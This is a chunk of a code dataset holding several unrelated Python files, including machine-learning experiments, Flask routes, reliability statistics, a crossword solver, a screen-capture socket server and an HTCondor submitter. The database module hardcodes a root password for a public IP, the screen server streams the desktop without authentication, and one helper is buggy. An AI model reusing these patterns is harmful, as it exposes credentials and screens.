data.iloc[:i*fold_length].append(data.iloc[(i+1)*fold_length: ]).reset_index(drop=True)\n validation_data = data.iloc[i*fold_length: (i+1)*fold_length].reset_index(drop=True)\n my_tree = Tree()\n my_tree.train(train_data, method)\n accuracy += (my_tree.pridict(validation_data, 'train')[0])/len(validation_data)\n print('k='+str(k)+',', 'accuracy='+str(float(accuracy)/k))\n return float(accuracy)/k\n\n#read file\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\ndata = pd.read_csv('/Users/pp/pp_git/ai_lab/lab2/lab2_data/Car_train.csv', header=None) #header=None表示没有列索引\nmethods = ['ID3', 'C4.5', 'CART']\nresults = []\n#train for the best k\nfor method in methods:\n print('Model:', method)\n result = []\n for k in range(2, 11):\n result.append(k_fold_cross_validation(k, data, method))\n results.append(result)\n\nplt.figure()\nx = list(range(2,11))\nID3 = plt.plot(x, results[0], label='ID3', color='blue')\nC45 = plt.plot(x, results[1], label='C4.5', color='red')\nCART = plt.plot(x, results[2], label='CART', color='green')\nplt.xlabel('k')\nplt.ylabel('accuracy')\nplt.legend()\nplt.show()\n\n'''\ntest_data = pd.read_csv('/Users/pp/pp_git/ai_lab/lab2/lab2_data/Car_test.csv', header=None)\nfor method in methods:\n print('Model:',method)\n my_tree = Tree()\n my_tree.train(data, method)\n result = my_tree.fit(test_data, 'predict')\n print(result)\n break\n'''\n#当中是你的程序\nelapsed = (time.clock() - start)\nprint(\"Time used:\",elapsed)","sub_path":"lab2/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":10501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"542913106","text":"from __future__ import division\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import unicode_literals\n\n# import os\n# import math\nimport numpy as np\n# import pandas as pd\n# import sklearn.linear_model as linear_model\n\n# import scipy\n# import sklearn\n\nimport random\n\nimport influence.experiments as experiments\nfrom influence.all_CNN_c import All_CNN_C\n\nfrom load_mnist import load_small_mnist, load_mnist\n\nimport tensorflow as tf\n\n# np.random.seed(42)\n\ndata_sets = load_small_mnist('data')\n\nnum_classes = 10\ninput_side = 28\ninput_channels = 1\ninput_dim = input_side * input_side * input_channels\nweight_decay = 0.001\nbatch_size = 500\n\ninitial_learning_rate = 0.0001\ndecay_epochs = [10000, 20000]\nhidden1_units = 8\nhidden2_units = 8\nhidden3_units = 8\nconv_patch_size = 3\nkeep_probs = [1.0, 1.0]\n\n\nmodel = All_CNN_C(\n input_side=input_side,\n input_channels=input_channels,\n conv_patch_size=conv_patch_size,\n hidden1_units=hidden1_units,\n hidden2_units=hidden2_units,\n hidden3_units=hidden3_units,\n weight_decay=weight_decay,\n num_classes=num_classes,\n batch_size=batch_size,\n data_sets=data_sets,\n initial_learning_rate=initial_learning_rate,\n damping=1e-2,\n decay_epochs=decay_epochs,\n mini_batch=True,\n train_dir='output',\n log_dir='log',\n model_name='mnist')\n\nnum_steps = 5000\nmodel.train(\n num_steps=num_steps,\n iter_to_switch_to_batch=100000,\n iter_to_switch_to_sgd=100000)\niter_to_load = num_steps - 1\n\n# test_idx = 6558\n\n# orig_results, flipped_results, fixed_influence_loo_results, fixed_loss_results, fixed_random_results = \\\n# experiments.test_mislabeled_training(\n# model,\n# iter_to_load=iter_to_load,\n# num_steps=10000,\n# force_refresh=True)\n\n####################################################################################################################\n# the fix mislabel portion of run_spam_experiment but fix it\nX_train = np.copy(model.data_sets.train.x)\nY_train = np.copy(model.data_sets.train.labels)\nX_test = np.copy(model.data_sets.test.x)\nY_test = np.copy(model.data_sets.test.labels)\n\nnum_train_examples = Y_train.shape[0] # 70000\nnum_flip_vals = 6 # why is this only 6?\nnum_check_vals = 6 # why is this only 6?\nnum_random_seeds = 40 # why do we need this?\n\ndims = (num_flip_vals, num_check_vals, num_random_seeds, 3)\nfixed_influence_loo_results = np.zeros(dims)\nfixed_loss_results = np.zeros(dims)\nfixed_random_results = np.zeros(dims)\n\nflipped_results = np.zeros((num_flip_vals, num_random_seeds, 3))\n\norig_results = model.sess.run(\n [model.loss_no_reg, model.accuracy_op],\n feed_dict=model.all_test_feed_dict)\n\nprint('Orig loss: %.5f. Accuracy: %.3f' % (orig_results[0], orig_results[1]))\n\nfor flips_idx in range(num_flip_vals):\n for random_seed_idx in range(num_random_seeds):\n\n random_seed = flips_idx * (num_random_seeds * 3) + (random_seed_idx * 2)\n np.random.seed(random_seed)\n\n num_flips = int(num_train_examples / 20) * (flips_idx + 1)\n\n Y_train_flipped = np.copy(Y_train)\n\n # # Just checking if 2 class fashion mnist works ###########\n # idx_to_flip = np.random.choice(num_train_examples, size=num_flips,\n # replace=False) # Generates random indices from num_train_examples\n # Y_train_flipped[idx_to_flip] = 1 - Y_train[idx_to_flip]\n # # Just checking if 2 class fashion mnist works ###########\n\n # 1: Randomly change labels to another class ---------------------------------------------------------------\n for i in range(num_flips):\n # https://stackoverflow.com/questions/42999093/generate-random-number-in-range-excluding-some-numbers/42999212\n Y_train_flipped[i] = random.choice([j for j in range(10) if j != Y_train[i]])\n # Y_train_flipped[i] = random.choice([j for j in range(6) if j != Y_train[i]])\n\n # 1: Randomly change labels to another class ---------------------------------------------------------------\n\n model.update_train_x_y(X_train, Y_train_flipped)\n # 2: Include parameters in model.train() to be for ALL_CNN_C for now ---------------------------------------\n model.train(\n num_steps=num_steps,\n iter_to_switch_to_batch=100000,\n iter_to_switch_to_sgd=100000)\n # 2: Include parameters in model.train() to be for ALL_CNN_C for now --------------------------------------\n flipped_results[flips_idx, random_seed_idx, 1:] = model.sess.run(\n [model.loss_no_reg, model.accuracy_op],\n feed_dict=model.all_test_feed_dict)\n print('Flipped loss: %.5f. Accuracy: %.3f' % (\n flipped_results[flips_idx, random_seed_idx, 1], flipped_results[flips_idx, random_seed_idx, 2]))\n\n train_losses = model.sess.run(model.indiv_loss_no_reg, feed_dict=model.all_train_feed_dict)\n # 3 -------------------------------------------------------------------------------------------------------------------#\n # train_loo_influences = model.get_loo_influences()\n\n train_loo_influences = np.zeros(len(model.data_sets.train.labels))\n for i in range(len(model.data_sets.train.labels)):\n train_loo_influences[i] = model.get_generic_loo_influences(\n train_indices=[i],\n approx_type='cg',\n force_refresh=True)\n\n # 3 ------------------------------------------------------------------------------------------------------ #\n\n for checks_idx in range(num_check_vals):\n np.random.seed(random_seed + 1)\n num_checks = int(num_train_examples / 20) * (checks_idx + 1)\n\n print('### Flips: %s, rs: %s, checks: %s' % (num_flips, random_seed_idx, num_checks))\n\n fixed_influence_loo_results[flips_idx, checks_idx, random_seed_idx, :], \\\n fixed_loss_results[flips_idx, checks_idx, random_seed_idx, :], \\\n fixed_random_results[flips_idx, checks_idx, random_seed_idx, :] \\\n = experiments.test_mislabeled_detection_batch(\n model,\n X_train, Y_train,\n Y_train_flipped,\n X_test, Y_test,\n train_losses, train_loo_influences,\n num_flips, num_checks)\n\nnp.savez(\n 'output/randomly_mislabel_mnist_results',\n orig_results=orig_results,\n flipped_results=flipped_results,\n fixed_influence_loo_results=fixed_influence_loo_results,\n fixed_loss_results=fixed_loss_results,\n fixed_random_results=fixed_random_results\n)\n","sub_path":"scripts/run_mnist_experiment.py","file_name":"run_mnist_experiment.py","file_ext":"py","file_size_in_byte":6607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"236981107","text":"class LoadLogger():\n def __init__(self, log_file_path):\n self.file = open(log_file_path, 'a')\n self.all_logs = \"\"\n self.base_url_time = \"\"\n self.search_number = 0\n self.page_number = 0\n self.search_time = \"\" \n self.nextpage_time = \"\" \n self.errors = []\n self.warnings = []\n self.status_code = \"\" \n\n def write_csv(self):\n self.file.write(self.format_csv())\n\n def format_csv(self):\n return \"{},{},{},{},{},{},{}\\n\".format(\n str(self.search_number) + str(self.page_number),\n self.base_url_time,\n self.search_time,\n self.nextpage_time,\n self.status_code,\n self.errors,\n self.warnings\n )\n\n def destroy(self):\n self.file.close()","sub_path":"modules/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"474006067","text":"import subprocess\nimport os\nimport shlex\nimport sys\n\nclass ColorPrint:\n\n @staticmethod\n def p_err(self, message, end = '\\n'):\n sys.stderr.write('\\x1b[1;31m' + message.strip() + '\\x1b[0m' + end)\n\n @staticmethod\n def p_pass(self, message, end = '\\n'):\n sys.stdout.write('\\x1b[1;32m' + message.strip() + '\\x1b[0m' + end)\n\n @staticmethod\n def p_warn(self,message, end = '\\n'):\n sys.stderr.write('\\x1b[1;33m' + message.strip() + '\\x1b[0m' + end)\n\n @staticmethod\n def p_info(self,message, end = '\\n'):\n sys.stdout.write('\\x1b[1;34m' + message.strip() + '\\x1b[0m' + end)\n\n @staticmethod\n def p_bold(self,message, end = '\\n'):\n sys.stdout.write('\\x1b[1;37m' + message.strip() + '\\x1b[0m' + end)\n \n def run(cmd, cwd='.', verbose=False, shell=False, split = False):\n if verbose is True:\n if cwd is not \".\":\n print (\"cd %s &&\" % cwd)\n print (cmd)\n\n # Shell commands are parsed by shell as a string\n if not split and not shell:\n cmd = shlex.split(cmd)\n\n p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=cwd, shell=shell, universal_newlines=True)\n\n stdout, stderr = map(lambda s: s.rstrip('\\n'), p.communicate())\n error = p.wait()\n print(\"this is from RUN function\")\n self.p_err(stdout)\n print(\"end RUN opt\")\n return (error, stdout, stderr)","sub_path":"backend_scripts/utils1.py","file_name":"utils1.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"570567569","text":"'''\n1. You are given a 10*10 2-D array(arr) containing only '+' and '-' characters, which represents a \n crossword puzzle. \n2. You are also given n number of words which need to be filled into the crossword.\n3. Cells containing '-' are to be filled with the given words.\n\nSample Input:\n\n+-++++++++\n+-++++++++\n+-++++++++\n+-----++++\n+-+++-++++\n+-+++-++++\n+++++-++++\n++------++\n+++++-++++\n+++++-++++\n\n4\n\nLONDON\nDELHI \nICELAND \nANKARA\n\nSample Output:\n\n+L++++++++\n+O++++++++\n+N++++++++\n+DELHI++++\n+O+++C++++\n+N+++E++++\n+++++L++++\n++ANKARA++\n+++++N++++\n+++++D++++\n\n\nhttps://www.youtube.com/watch?v=fUAZS-sdP2Q&list=PL-Jc9J83PIiHO9SQ6lxGuDsZNt2mkHEn0&index=8\n\n'''\n\ndef crossWordPuzzle(arr, words, vidx):\n '''\n arr: 2D array containing + and -\n words: 1D array containing words\n vidx: index of word in words array\n '''\n \n if(vidx == len(words)):\n displayArray(arr)\n return\n \n for i in range(len(arr)):\n for j in range(len(arr[0])):\n word = words[vidx]\n if(arr[i][j] == '-' or arr[i][j] == word[0]): # if cell have - or cell have first char of word\n if(canFillHorizontally(arr, word, i, j) == True): # check if we can place word horizontally\n wePlaced = placeHorizontally(arr, word, i, j)\n crossWordPuzzle(arr, words, vidx+1)\n unPlaceHorizontally(arr, wePlaced, i, j) # un-place words horizontally to check for other possibilities\n \n if(canFillVertically(arr, word, i, j) == True): # check if we can place word vertically\n wePlaced = placeVertically(arr, word, i, j)\n crossWordPuzzle(arr, words, vidx+1)\n unPlaceVertically(arr, wePlaced, i, j) # un-place words vertically to check for other possibilities\n \ndef canFillHorizontally(arr, word, i, j):\n \n if(j-1 >= 0 and arr[i][j-1] != '+'): # check if anything/nothing in left side and if there then check it is + or not\n return False\n elif(j+len(word) < len(arr[0]) and arr[i][j+len(word)] != '+'): # check if + is there in right side or at the end\n return False\n \n for jj in range(len(word)):\n \n if(j + jj >= len(arr[0])): # if placing word is moving out of array in right side\n return False\n \n if(arr[i][j + jj] == '-' or arr[i][j + jj] == word[jj]):\n continue\n else:\n return False\n \n return True\n\ndef canFillVertically(arr, word, i, j):\n \n if(i-1 >= 0 and arr[i-1][j] != '+'): # check if anything/nothing in up side and if there then check it is + or not\n return False\n elif(i + len(word) < len(arr) and arr[i + len(word)][j] != '+'): # check if + is there in down side or at the end\n return False\n \n for ii in range(len(word)):\n \n if(i + ii >= len(arr)): # if placing word is moving out of array in down side\n return False\n \n if(arr[i + ii][j] == '-' or arr[i + ii][j] == word[ii]):\n continue\n else:\n return False\n \n return True\n \n\ndef placeHorizontally(arr, word, i, j):\n \n wePlaced = [False] * len(word) # boolean array to keep track which word placed so while backtracking we will remove only those placed words\n \n for jj in range(len(word)):\n \n if(arr[i][j + jj] == '-'):\n arr[i][j + jj] = word[jj]\n wePlaced[jj] = True\n \n return wePlaced\n\n\ndef unPlaceHorizontally(arr, wePlaced, i, j):\n \n for jj in range(len(wePlaced)):\n if(wePlaced[jj] == True):\n arr[i][j + jj] = '-'\n \n\ndef placeVertically(arr, word, i, j):\n \n wePlaced = [False] * len(word) # boolean array to keep track which word placed so while backtracking we will remove only those placed words\n \n for ii in range(len(word)):\n \n if(arr[i + ii][j] == '-'):\n arr[i + ii][j] = word[ii]\n wePlaced[ii] = True\n \n return wePlaced\n\n\ndef unPlaceVertically(arr, wePlaced, i, j):\n \n for ii in range(len(wePlaced)):\n if(wePlaced[ii] == True):\n arr[i + ii][j] = '-'\n\ndef displayArray(arr):\n \n for i in range(len(arr)):\n for j in range(len(arr[0])):\n print(arr[i][j], end = \" \")\n print()\n\nif __name__ == \"__main__\":\n arr = [\n ['+','-','+','+','+','+','+','+','+','+'],\n ['+','-','+','+','+','+','+','+','+','+'],\n ['+','-','+','+','+','+','+','+','+','+'],\n ['+','-','-','-','-','-','+','+','+','+'],\n ['+','-','+','+','+','-','+','+','+','+'],\n ['+','-','+','+','+','-','+','+','+','+'],\n ['+','+','+','+','+','-','+','+','+','+'],\n ['+','+','-','-','-','-','-','-','+','+'],\n ['+','+','+','+','+','-','+','+','+','+'],\n ['+','+','+','+','+','-','+','+','+','+']\n ]\n \n words = ['LONDON', 'DELHI','ICELAND','ANKARA']\n crossWordPuzzle(arr, words, 0)","sub_path":"pepcoding/backtracking/6_crossword_puzzle_difficult.py","file_name":"6_crossword_puzzle_difficult.py","file_ext":"py","file_size_in_byte":5068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"339733169","text":"#!/usr/bin/env python\n\nimport decimal\nimport math\n\nMAX_ROW_COUNT = 6\nCONTEXT = decimal.Context()\n\ndef normalize(**categories):\n\n return {\n category: categories[category] / sum(categories.values())\n for category in categories.keys()\n }\n\ndef split_by_standard_deviation(**categories):\n\n mean = sum(categories.values()) / len(categories)\n sum2 = sum(CONTEXT.power((value - mean), 2) for value in categories.values())\n stddev = CONTEXT.sqrt(sum2 / (len(categories) - 1))\n stddev = CONTEXT.log10(stddev * 100)\n\n groups = {}\n\n if stddev == 0:\n groups[0] = categories\n\n else:\n for category, value in categories.iteritems():\n deviation = (value - mean) / stddev\n group = math.ceil(deviation) if deviation >= 0 else math.floor(deviation)\n if not groups.has_key(group):\n groups[group] = {}\n groups[group][category] = value\n\n return groups\n\ndef generate_matrix(**categories):\n\n if len(categories) == 0:\n return None\n elif len(categories) == 1:\n return [{category: decimal.Decimal(1) for category in categories.keys()}]\n\n rows = []\n categories = normalize(**categories)\n groups = split_by_standard_deviation(**categories)\n\n for group in sorted(groups.keys(), reverse=True):\n row = normalize(**(groups[group]))\n\n if len(row) > MAX_ROW_COUNT:\n if group != 0:\n rows.extend(generate_matrix(**row))\n else:\n sorted_keys = sorted(row.keys())\n rows.append(normalize(**{\n category: value for category, value in row.iteritems()\n if category in sorted_keys[:(len(row)/2)]\n }))\n rows.append(normalize(**{\n category: value for category, value in row.iteritems()\n if category in sorted_keys[(len(row)/2):]\n }))\n\n else:\n rows.append(row)\n\n return rows\n\ndef generate_bootstrap_matrix(**categories):\n\n rows = generate_matrix(**categories)\n brows = []\n\n for row in rows:\n\n irow = {category: int(value * 12) for category, value in row.iteritems()}\n isum = int(sum(irow.values()))\n diff = 12 - isum\n\n cats = sorted(row.keys(), key=lambda category: row[category], reverse=True)\n while diff > 0:\n irow[cats[diff-1]] += 1\n diff -= 1\n\n brows.append(irow)\n\n return brows\n\n","sub_path":"confmat.py","file_name":"confmat.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"169367666","text":"import pymysql\n\n\nclass Database:\n # 멤버변수 초기화\n def __init__(self):\n self.conn = None\n self.curs = None\n self.query = None\n self.result = None\n\n # 데이터베이스 연결\n def connection(self):\n try:\n self.conn = pymysql.connect(host='14.36.195.222', port=3306, user='root', password='abc123', db='pydb',\n charset='utf8')\n except:\n print('connect error')\n\n # 쿼리 실행 -> 결과 반환\n def execsql(self, query):\n try:\n self.query = query\n self.curs = self.conn.cursor()\n self.curs.execute(self.query)\n except Exception as e:\n print(e)\n else:\n self.result = self.curs.fetchall()\n return self.result\n\n # 데이터베이스 연결끊기\n def disconntion(self):\n try:\n self.conn.close()\n except:\n print('disconnect error')\n","sub_path":"app/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"489217936","text":"from flask import render_template, request, Blueprint\nfrom flaskblog.models import Post\n\n\nmain = Blueprint('main', __name__)\n\n@main.route(\"/\")\n@main.route(\"/home\")\ndef home():\n # This retrieve the current page\n page = request.args.get('page', 1, type=int)\n\n #We limit the number of posts on that page to 5, it will reorder it in descending \n posts = Post.query.order_by(Post.date_posted.desc()).paginate(page=page, per_page=5)\n return render_template('home.html', posts=posts)\n\n\n@main.route(\"/about\")\ndef about():\n return render_template('about.html', title='About Arsene')","sub_path":"flaskblog/main/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"250857755","text":"#!/usr/bin/env python\r\n\"\"\"\r\nContains functions for performing calculations associated with the Duane model.\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n#\r\n# rtk.analyses.statistics.Duane.py is part of The RTK Project\r\n#\r\n# All rights reserved.\r\n\r\n# Add NLS support.\r\nimport gettext\r\n\r\n# Import mathematical functions.\r\nfrom math import exp, log, sqrt\r\n\r\n__author__ = 'Andrew Rowland'\r\n__email__ = 'andrew.rowland@reliaqual.com'\r\n__organization__ = 'ReliaQual Associates, LLC'\r\n__copyright__ = 'Copyright 2007 - 2015 Andrew \"weibullguy\" Rowland'\r\n\r\n_ = gettext.gettext\r\n\r\n\r\ndef calculate_duane_parameters(n_failures, fail_times):\r\n \"\"\"\r\n Function to estimate the parameters of the Duane model. This is also used\r\n when regression is used to estimated the NHPP Power Law model parameters.\r\n The form of the Duane model used in RTK:\r\n\r\n .. note:: cumulative failure intensity = lambda_c = (1 / b) * T^-alpha\r\n .. note:: cumulative MTBF = MTBFc = b * T^alpha\r\n .. note:: instantaneous failure intensity = lambda_i = (1 - alpha) * lambda_c\r\n .. note:: instantaneous MTBF = MTBFi = MTBFc / (1 - alpha)\r\n\r\n :param list n_failures: list of failure counts at each failure time.\r\n :param list fail_times: list of failure times.\r\n :return: _b_hat, _alpha_hat\r\n :rtype: tuple\r\n \"\"\"\r\n\r\n _n = len(n_failures)\r\n\r\n if _n <= 0:\r\n return 0.0, 1.0\r\n\r\n _mtbf = [fail_times[i] / sum(n_failures[:i + 1])\r\n for i in range(len(fail_times))]\r\n _logT = sum([log(x) for x in fail_times])\r\n _logT2 = sum([log(x)**2.0 for x in fail_times])\r\n _logM = sum([log(m) for m in _mtbf])\r\n _logTlogM = sum([log(fail_times[i]) * log(_mtbf[i])\r\n for i in range(len(fail_times))])\r\n\r\n # Estimate the shape parameter.\r\n try:\r\n _alpha_hat = (_logTlogM - (_logT * _logM / _n)) / \\\r\n (_logT2 - (_logT**2.0 / _n))\r\n except ZeroDivisionError:\r\n _alpha_hat = 0.0\r\n\r\n # Estimate the scale parameter.\r\n try:\r\n _b_hat = exp((1.0 / _n) * (_logM - _alpha_hat * _logT))\r\n except OverflowError:\r\n _b_hat = 1.0\r\n\r\n return _b_hat, _alpha_hat\r\n\r\n\r\ndef calculate_duane_standard_error(n_failures, fail_times, alpha, beta):\r\n \"\"\"\r\n Function to calculate the standard error of the Duane model parameters,\r\n beta (scale) and alpha (shape), given the failure counts, failure\r\n times, and point estimates of the parameters.\r\n\r\n :param int n_failures: list of failure counts at each failure time.\r\n :param float fail_times: list of failure times.\r\n :param float alpha: the point estimate of the Duane alpha (shape)\r\n parameter.\r\n :param float beta: the point estimate of the Duane b (scale) parameter.\r\n :return: estimates of the standard error for alpha and the log of beta.\r\n :rtype: tuple\r\n \"\"\"\r\n\r\n _logT = sum([log(x) for x in fail_times])\r\n _logT2 = sum([log(x)**2.0 for x in fail_times])\r\n\r\n _SSE = sum([((log(beta) + alpha * log(fail_times[i])) -\r\n log(fail_times[i] / sum(n_failures[:i + 1])))**2.0\r\n for i in range(len(fail_times))])\r\n if sum(n_failures) > 2:\r\n _sigma2 = _SSE / (sum(n_failures) - 2)\r\n else:\r\n _sigma2 = _SSE\r\n\r\n try:\r\n _Sxx = _logT2 - (_logT**2.0 / sum(n_failures))\r\n except ZeroDivisionError:\r\n _Sxx = 1.0\r\n\r\n # Calculate the standard error of the log of b (scale) parameter.\r\n try:\r\n _se_lnb = sqrt(_sigma2) * sqrt(_logT2 / (sum(n_failures) * _Sxx))\r\n except ZeroDivisionError:\r\n _se_lnb = 0.0\r\n\r\n try:\r\n _se_alpha = sqrt(_sigma2) / sqrt(_Sxx)\r\n except ZeroDivisionError:\r\n _se_alpha = 0.0\r\n\r\n return _se_alpha, _se_lnb\r\n\r\n\r\ndef calculate_duane_mean(est_time, alpha, beta): # pylint: disable=C0103\r\n \"\"\"\r\n Method to calculate the Duane model cumulative and instantaneous mean\r\n values (e.g., MTBF) given the Duane parameters and a time. The Duane\r\n model used is:\r\n\r\n .. note:: cumulative mean = cum_mean = beta * T^alpha\r\n .. note:: instantaneous mean = inst_mean = cum_mean / (1 - alpha)\r\n\r\n :param float est_time: the time at which to calculate the means.\r\n :param float alpha: the point estimate of the Duane alpha (shape)\r\n parameter.\r\n :param float beta: the point estimate of the Duane b (scale) parameter.\r\n :return: estimate of the cumulative mean and instantaneous mean.\r\n :rtype: tuple\r\n \"\"\"\r\n\r\n _cum_mean = beta * est_time**alpha\r\n\r\n try:\r\n _instantaneous_mean = _cum_mean / (1.0 - alpha)\r\n except ZeroDivisionError:\r\n _instantaneous_mean = _cum_mean\r\n\r\n return _cum_mean, _instantaneous_mean\r\n","sub_path":"rtk-RQA/rtk/analyses/statistics/Duane.py","file_name":"Duane.py","file_ext":"py","file_size_in_byte":4706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"161932718","text":"from lcj import*\nwith openw() as g:\n m=0\n def f(m):\n r=[]\n #while 1:\n s='\\n'.join(list(map(''.join,m)))\n print(s)\n return ['%i %i'%(2+s.count('+')+s.count('x'),len(r))]+r\n l=lines('D')\n while l:\n a=l[0].split(' ')\n n,m=int(a[0]),int(a[1])\n m=[[' ']*n]*n\n for o in l[1:m+1]:\n p=o.split(' ')\n m[int(p[1])-1][int(p[2])-1]=p[0]\n case(g,f(m))","sub_path":"2017/Qualifier/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"485914382","text":"import ImageGrab\nimport socket\nimport struct\nimport zlib\n\ndef main():\n server = socket.socket()\n server.bind(('', 8060))\n server.listen(1)\n client = server.accept()[0]\n while True:\n image = ImageGrab.grab()\n width, height = image.size\n string = zlib.compress(image.tostring())\n client.sendall(struct.pack('!HHI', width, height, len(string)))\n client.sendall(string)\n client.recv(1)\n\nif __name__ == '__main__':\n main()\n","sub_path":"Python 2.X/ZERO/GUI/Remote Desktop/Version 1/Server.pyw","file_name":"Server.pyw","file_ext":"pyw","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"491483147","text":"_base_ = [\r\n '../_base_/default_runtime.py', '../_base_/datasets/bead_cropped_type_2.py'\r\n]\r\n# model settings\r\nmodel = dict(\r\n type='CornerNet',\r\n backbone=dict(\r\n type='HourglassNet',\r\n downsample_times=5,\r\n num_stacks=2,\r\n stage_channels=[256, 256, 384, 384, 384, 512],\r\n stage_blocks=[2, 2, 2, 2, 2, 4],\r\n norm_cfg=dict(type='BN', requires_grad=True)),\r\n neck=None,\r\n bbox_head=dict(\r\n type='CornerHead',\r\n num_classes=1,\r\n in_channels=256,\r\n num_feat_levels=2,\r\n corner_emb_channels=1,\r\n loss_heatmap=dict(\r\n type='GaussianFocalLoss', alpha=2.0, gamma=4.0, loss_weight=1),\r\n loss_embedding=dict(\r\n type='AssociativeEmbeddingLoss',\r\n pull_weight=0.25,\r\n push_weight=0.25),\r\n loss_offset=dict(type='SmoothL1Loss', beta=1.0, loss_weight=1)))\r\ncheckpoint_config = dict(max_keep_ckpts=4)\r\n# optimizer\r\noptimizer = dict(type='Adam', lr=0.0005)\r\noptimizer_config = dict(grad_clip=dict(max_norm=35, norm_type=2))\r\n# learning policy\r\nlr_config = dict(\r\n policy='step',\r\n warmup='linear',\r\n warmup_iters=500,\r\n warmup_ratio=1.0 / 3,\r\n step=[180])\r\ntotal_epochs = 210\r\n","sub_path":"configs/bead/cornernet_hourglass104_mstest_32x3_210e_coco.py","file_name":"cornernet_hourglass104_mstest_32x3_210e_coco.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"132123880","text":"#!/usr/bin/env python\n# Tai Sakuma \nimport os, sys\nimport argparse\nimport subprocess\nimport collections\nimport time\nimport textwrap\nimport getpass\nimport re\nimport logging\n\nimport alphatwirl\n\n##__________________________________________________________________||\n# https://htcondor-wiki.cs.wisc.edu/index.cgi/wiki?p=MagicNumbers\nHTCONDOR_JOBSTATUS = {\n 0: \"Unexpanded\",\n 1: \"Idle\",\n 2: \"Running\",\n 3: \"Removed\",\n 4: \"Completed\",\n 5: \"Held\",\n 6: \"Transferring_Output\",\n 7: \"Suspended\"\n}\n\n##__________________________________________________________________||\nclass HTCondorJobSubmitter(object):\n def __init__(self, job_desc_extra = [ ]):\n\n self.job_desc_template = \"\"\"\n Executable = {job_script}\n output = {out}\n error = {error}\n log = {log}\n {args}\n should_transfer_files = YES\n when_to_transfer_output = ON_EXIT\n transfer_input_files = {input_files}\n transfer_output_files = {output_files}\n Universe = vanilla\n notification = Error\n # Initialdir = {initialdir}\n getenv = True\n queue 1\n \"\"\"\n self.job_desc_template = textwrap.dedent(self.job_desc_template).strip()\n\n if job_desc_extra:\n job_desc_list = self.job_desc_template.split('\\n')\n job_desc_list[-1:-1] = job_desc_extra\n self.job_desc_template = '\\n'.join(job_desc_list)\n\n self.clusterids_outstanding = [ ]\n self.clusterids_finished = [ ]\n\n def run(self, workingArea, package_index):\n\n cwd = os.getcwd()\n os.chdir(workingArea.path)\n\n package_path = workingArea.package_path(package_index)\n\n resultdir_basename = os.path.splitext(package_path)[0]\n resultdir_basename = os.path.splitext(resultdir_basename)[0]\n resultdir = os.path.join('results', resultdir_basename)\n alphatwirl.mkdir_p(resultdir)\n\n input_files = [package_path, 'python_modules.tar.gz']\n input_files = [f for f in input_files if os.path.exists(f)]\n\n job_desc = self.job_desc_template.format(\n job_script = 'run.py',\n out = os.path.join(resultdir, 'stdout.txt'),\n error = os.path.join(resultdir, 'stderr.txt'),\n log = os.path.join(resultdir, 'log.txt'),\n args = 'Arguments = {}'.format(package_path),\n input_files = ', '.join(input_files),\n output_files = 'results',\n initialdir = 'to be determined',\n )\n\n procargs = [\n '/usr/bin/condor_submit',\n '-append', 'accounting_group=group_physics.hep',\n '-append', 'accounting_group_user={}'.format(getpass.getuser()),\n ]\n proc = subprocess.Popen(\n procargs,\n stdin = subprocess.PIPE,\n stdout = subprocess.PIPE,\n stderr = subprocess.PIPE\n )\n\n stdout, stderr = proc.communicate(job_desc)\n regex = re.compile(\"submitted to cluster (\\d*)\", re.MULTILINE)\n clusterid = regex.search(stdout).groups()[0]\n\n self.clusterids_outstanding.append(clusterid)\n\n change_job_priority([clusterid], 10) ## need to make configurable\n\n os.chdir(cwd)\n\n return clusterid\n\n def poll(self):\n \"\"\"check if the jobs are running and return a list of cluster IDs for\n finished jobs\n\n \"\"\"\n\n clusterid_status_list = query_status_for(self.clusterids_outstanding)\n # e.g., [['1730126', 2], ['1730127', 2], ['1730129', 1], ['1730130', 1]]\n\n\n if clusterid_status_list:\n clusterids, statuses = zip(*clusterid_status_list)\n else:\n clusterids, statuses = (), ()\n\n clusterids_finished = [i for i in self.clusterids_outstanding if i not in clusterids]\n self.clusterids_finished.extend(clusterids_finished)\n self.clusterids_outstanding[:] = clusterids\n\n # logging\n counter = collections.Counter(statuses)\n messages = [ ]\n if counter:\n messages.append(', '.join(['{}: {}'.format(HTCONDOR_JOBSTATUS[k], counter[k]) for k in counter.keys()]))\n if self.clusterids_finished:\n messages.append('Finished {}'.format(len(self.clusterids_finished)))\n logger = logging.getLogger(__name__)\n logger.info(', '.join(messages))\n\n return clusterids_finished\n\n def wait(self):\n \"\"\"wait until all jobs finish and return a list of cluster IDs\n \"\"\"\n sleep = 5\n while self.clusterids_outstanding:\n self.poll()\n time.sleep(sleep)\n return self.clusterids_finished\n\n def failed_runids(self, runids):\n # remove failed clusterids from self.clusterids_finished\n # so that 